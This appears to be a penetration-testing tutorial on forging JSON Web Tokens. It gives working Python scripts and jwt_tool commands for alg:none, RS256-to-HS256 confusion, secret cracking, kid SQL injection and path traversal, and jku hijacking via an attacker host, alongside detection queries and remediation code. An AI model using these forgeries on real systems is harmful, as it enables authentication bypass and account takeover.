
JWT Attacks: Algorithm Confusion and Forgery
Forging JSON Web Tokens with the none algorithm, RS256 to HS256 confusion, cracked HS256 secrets, kid injection and jku/x5u hijacking.
Introduction
Many JWT libraries have shipped broken signature validation at some point. RFC 7519 defines the format but leaves the validation rules loose enough that servers accepting {"alg":"none"}, or using an RS256 public key as an HS256 secret, keep turning up in production.
A JWT is three base64url segments joined with dots: header, payload and signature. The header says which algorithm was used to sign the token. When the server takes that field at face value, whoever writes the header decides how the token gets verified. That one design choice is behind most JWT bugs.
None of this needs stolen credentials or a hijacked session. You build the forged token offline, with whatever payload you want (another user ID, an admin role, an expiry years away), and send it.
Authorization required
Forge tokens only against systems you have written permission to test: an engagement in scope, a bug bounty target that allows it, or your own lab. Logging in as another user with a forged token is unauthorized access everywhere else.
Impact
- Forge a token for any user ID or role, bypassing authentication completely
- Change the
subclaim to another user's ID (horizontal escalation) - Change
role,adminorscopeclaims (vertical escalation) - Keep access with tokens that carry a far-future
exp - Backend SSRF via
jku/x5uheader injection pointing to attacker infrastructure - SQL injection through unsanitized
kidheader parameter - Arbitrary file read through
kidpath traversal
Technical details
None algorithm bypass
The alg header field tells the server which algorithm to use when verifying the signature. "none" is a valid value: RFC 7519 defines unsecured JWTs for cases where integrity is protected some other way.
Libraries that process "alg":"none" in production do so because they follow the spec without applying the obvious security constraint: never accept unsigned tokens from untrusted sources. The attack strips the signature entirely and modifies the payload at will.
Decode and inspect the original token:
# Split on dots and base64url-decode each segment
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwicmxvZSI6InVzZXIiLCJleHAiOjE3NTAwMDAwMDB9.SIGNATURE"
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
# {"alg": "RS256", "typ": "JWT"}
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# {"sub": "1234", "role": "user", "exp": 1750000000}Craft the forged token:
import base64
import json
def b64url(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "1234", "role": "admin", "exp": 9999999999}))
# Trailing dot with empty signature
forged = f"{header}.{payload}."
print(forged)Variations that bypass case-sensitivity checks in some libraries: "alg":"None", "alg":"NONE", "alg":"nOnE". Libraries parsing the algorithm name without normalizing case may accept these even when blocking lowercase "none".
RS256-to-HS256 algorithm confusion
RS256 uses a private key to sign and a public key to verify. HS256 uses the same secret for both sign and verify. When a server allows the algorithm to be switched from RS256 to HS256, the HMAC verification secret becomes whatever the server holds as its RS256 public key. That key is public by design.
The attack flow: obtain the RS256 public key (from JWKS endpoint, certificate, or source code disclosure), switch the header to HS256, sign the forged payload using the public key as the HMAC secret. The server, now performing HMAC verification, uses the same public key bytes it has on hand and the signature validates.
# Most applications expose their JWKS at a standard endpoint
curl -s https://target.com/.well-known/jwks.json | python3 -m json.tool
# Convert JWK to PEM using jwt_tool or openssl
# jwt_tool can also read a saved JWKS file directly (-jw jwks.json)# -X k = key confusion (RS256->HS256), needs the public key with -pk
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Tamper payload claim before signing
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem -I -pc role -pv adminThe public key can appear in several forms: a PEM-formatted RSA public key from a JWKS endpoint, an X.509 certificate, or occasionally embedded in application source or configuration files. The bytes you use as the HMAC secret must match what the server holds exactly. Trailing newlines and PEM versus DER encoding both matter.
import hmac
import hashlib
import base64
import json
# Public key as bytes (exactly as the server has it)
with open('public_key.pem', 'rb') as f:
public_key_bytes = f.read()
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
def b64url(data):
if isinstance(data, (dict, list)):
data = json.dumps(data, separators=(',', ':')).encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
signing_input = f"{b64url(header)}.{b64url(payload)}"
sig = hmac.new(public_key_bytes, signing_input.encode(), hashlib.sha256).digest()
token = f"{signing_input}.{b64url(sig)}"
print(token)Weak HS256 secret brute force
HMAC-based JWTs are only as strong as their secret. Secrets derived from application names, environment names, or short random strings are routinely cracked against common wordlists. The JWT format exposes the algorithm and the expected signature, making offline attacks straightforward.
# hashcat mode 16500 = JWT (JSON Web Token)
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
# With rules for mutations
hashcat -a 0 -m 16500 token.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force short secrets
hashcat -a 3 -m 16500 token.txt '?a?a?a?a?a?a?a?a'
# Example output when cracked
# eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.signature:secret123python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txtSecrets to try manually before launching a full attack: secret, password, jwt_secret, the application name, development, staging, a blank string. Flask applications sometimes default to the SECRET_KEY value from config, which is often left as a placeholder.
Once the secret is known, sign arbitrary payloads:
python3 jwt_tool.py <TOKEN> -I -pc role -pv admin -S hs256 -p "recovered_secret"kid header injection
The kid (key ID) header parameter identifies which key the server should use to verify the signature. It's used in multi-key environments where several keys are in rotation. The server is expected to look up the key material using the kid value, so kid is user input flowing into a database query or a file path.
SQL injection via kid:
If the server queries a database for key material:
-- Intended query
SELECT key_value FROM jwt_keys WHERE kid = 'key-1'
-- Attacker-controlled kid
' UNION SELECT 'attacker_secret' --
-- Results in
SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'attacker_secret' -- '
-- Returns: attacker_secretpython3 jwt_tool.py <TOKEN> -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " \
-S hs256 -p "attacker_secret"Path traversal via kid:
If the server reads key material from the filesystem using the kid value:
{"alg": "HS256", "kid": "../../../dev/null"}/dev/null reads as an empty string. Sign the token with an empty string as the HMAC secret:
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""
# Or point to a known file with predictable content
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../etc/hostname" -S hs256 -p "webserver01"Absolute paths also work in some implementations: "kid":"/dev/null" or "kid":"/proc/sys/kernel/hostname".
jku and x5u header hijacking
The jku (JWK Set URL) header tells the server where to fetch the public keys for verification. The x5u header does the same for X.509 certificates. Servers that fetch key material from a URL specified in the token itself will fetch from an attacker-controlled host if the value is tampered.
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json",
"kid": "attacker-key"
}Generate an RSA key pair and host the public key as a JWK set:
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem# pip install python-jose
from jose import jwk
import json
with open('attacker_public.pem', 'r') as f:
public_pem = f.read()
key = jwk.construct(public_pem, algorithm='RS256')
jwks = {
"keys": [{
**key.public_key().to_dict(),
"kid": "attacker-key",
"use": "sig",
"alg": "RS256"
}]
}
print(json.dumps(jwks, indent=2))
# Host this at https://attacker.com/jwks.jsonpython3 jwt_tool.py <TOKEN> -X s \
-ju "https://attacker.com/jwks.json" \
-I -pc role -pv admin \
-pr attacker_private.pemBypass attempts when servers validate the jku domain: open redirect chains (https://target.com/redirect?url=https://attacker.com/jwks.json), SSRF-capable subdomains, URL parsing inconsistencies (https://attacker.com@target.com/jwks.json), parameter pollution.
Attack tools
ticarpi/jwt_tool covers every attack in this note from the command line, and can scan a live endpoint.
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt# Decode and inspect token
python3 jwt_tool.py <TOKEN>
# Run all automated tests against a live endpoint
python3 jwt_tool.py -t https://target.com/api/protected \
-rh "Authorization: Bearer <TOKEN>" -M at
# None algorithm
python3 jwt_tool.py <TOKEN> -X a
# Algorithm confusion
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Tamper a claim and re-sign with known secret
python3 jwt_tool.py <TOKEN> -I -pc sub -pv admin_user -S hs256 -p "secret"
# kid SQL injection
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "x' UNION SELECT 'hack'--" \
-S hs256 -p "hack"
# kid path traversal
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""
# jku injection
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/jwks.json" \
-I -pc role -pv admin -pr attacker_private.pem
# Crack HS256 secret
python3 jwt_tool.py <TOKEN> -C -d rockyou.txtFlag reference: -I tamper claims, -hc/-hv tamper header claim/value, -pc/-pv tamper payload claim/value, -S signing algorithm, -p signing secret, -pk PEM key file, -X exploit mode (a=alg:none, n=null signature, k=key confusion, s=spoof JWKS via jku, i=inject inline JWKS), -M at run all tests, -t target URL, -rh request header, -C crack mode, -d dictionary.
Detection
Log sources: WAF logs, application authentication logs, API gateway access logs, SIEM ingestion of JWT validation errors.
Alert on tokens with unexpected algorithm values:
| Condition | Severity | Notes |
|---|---|---|
alg: none or case variants | Critical | Should never appear in production tokens |
alg changed between requests for same session | High | Potential algorithm confusion attempt |
| Unknown or non-standard algorithm value | High | May indicate fuzzing or manipulation |
alg: HS256 on application using asymmetric keys | High | RS256-to-HS256 confusion |
Splunk query for the none algorithm:
index=web_logs sourcetype=nginx_access
| rex field=_raw "Authorization: Bearer (?<jwt_token>[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+)"
| eval header=lower(urldecode(replace(mvindex(split(jwt_token,"."),0), "-", "+", "_", "/")))
| search header="*\"alg\":\"none\"*" OR header="*\"alg\":\"none\"*"
| stats count by src_ip, uri_pathLog the kid value and alert on injection characters in it:
index=app_logs event_type=jwt_validation
| rex field=kid_value "(?<sqli_indicator>['\";]|UNION|SELECT|--)"
| rex field=kid_value "(?<traversal_indicator>\.\./|\.\.\\)"
| where isnotnull(sqli_indicator) OR isnotnull(traversal_indicator)
| table _time, src_ip, kid_value, user_agentFor jku/x5u abuse, watch for outbound requests from the token validation code to hosts outside the approved JWKS list:
Alert: outbound HTTP from JWT validation service to non-allowlisted domain
Source: token validation worker
Destination: any external host not in approved JWKS domain listTokens with exp more than 24 hours out, or with no exp at all, are worth a look. An iat in the future points to clock problems or forgery.
JWT validation happens inside the application, so it does not produce Windows logon events. The application and gateway logs are the source on every platform.
Remediation
Pin accepted algorithms. Never take the verification algorithm from the token itself:
import jwt
# WRONG: algorithm from token header
decoded = jwt.decode(token, public_key, algorithms=jwt.get_unverified_header(token)['alg'])
# CORRECT: algorithm pinned server-side
decoded = jwt.decode(token, public_key, algorithms=["RS256"])// WRONG
jwt.verify(token, secret);
// CORRECT: algorithm explicitly specified
jwt.verify(token, secret, { algorithms: ['HS256'] });Use asymmetric algorithms. Prefer RS256, ES256, or PS256 over HS256 for any multi-service architecture. HMAC secrets must be shared; RSA/EC private keys are never distributed.
Validate kid strictly. Treat kid as an identifier, never as a filename or SQL fragment:
ALLOWED_KIDS = {
"key-2024-01": load_pem("keys/key-2024-01.pem"),
"key-2024-06": load_pem("keys/key-2024-06.pem"),
}
kid = jwt.get_unverified_header(token).get("kid")
if kid not in ALLOWED_KIDS:
raise ValueError(f"Unknown kid: {kid}")
public_key = ALLOWED_KIDS[kid]Reject jku and x5u headers. Unless you really need dynamic key material, reject tokens that carry them. If you do need them, check the URL against a strict allowlist:
ALLOWED_JWKS_DOMAINS = {"auth.example.com"}
jku = header.get("jku")
if jku:
from urllib.parse import urlparse
if urlparse(jku).hostname not in ALLOWED_JWKS_DOMAINS:
raise ValueError("Untrusted jku domain")Enforce expiry. Always validate exp, iat, and nbf claims. Set maximum token lifetimes appropriate to the sensitivity of the resource. Reject tokens without an exp claim.
Keep libraries patched. CVE-2015-9235 (node jsonwebtoken, algorithm confusion) and CVE-2016-10555 (jwt-simple, algorithm not enforced) were fixed years ago and still show up in pinned dependency trees. Run npm audit / pip-audit as part of CI.
References
MITRE ATT&CK techniques
- T1528 - Steal Application Access Token
- T1550.001 - Use Alternate Authentication Material: Application Access Token
- T1078 - Valid Accounts
Tools documentation
- jwt_tool (ticarpi/jwt_tool)
- JWT Editor (PortSwigger BApp Store)
- hashcat (mode 16500)
- RFC 7519: JSON Web Token
- RFC 7517: JSON Web Key
- PortSwigger JWT Attack Research
Next steps
Authentication Bypass: Breaking Login Mechanisms
Ways past a login page, from credential attacks and logic flaws to session, JWT, OAuth, MFA and password reset bugs.
Host Header Poisoning
How applications that trust the HTTP Host header end up with poisoned password reset links, poisoned caches, SSRF and access control bypasses.
API Security Testing
Testing REST and GraphQL APIs for BOLA, mass assignment, broken authentication, introspection leaks and rate limit bypasses.
Insecure Deserialization
Exploiting deserialization of untrusted data in Java, PHP, Python, .NET and Node.js, from spotting serialized blobs to gadget chains and fixes.
Insecure Deserialization: Object Manipulation Attacks
Exploiting deserialization of untrusted data in Java, PHP, Python, .NET and Node.js, from spotting serialized blobs to gadget chains and fixes.
NoSQL Injection Attacks
MongoDB operator injection for authentication bypass and blind data extraction in Node.js and PHP applications, plus Redis CRLF injection.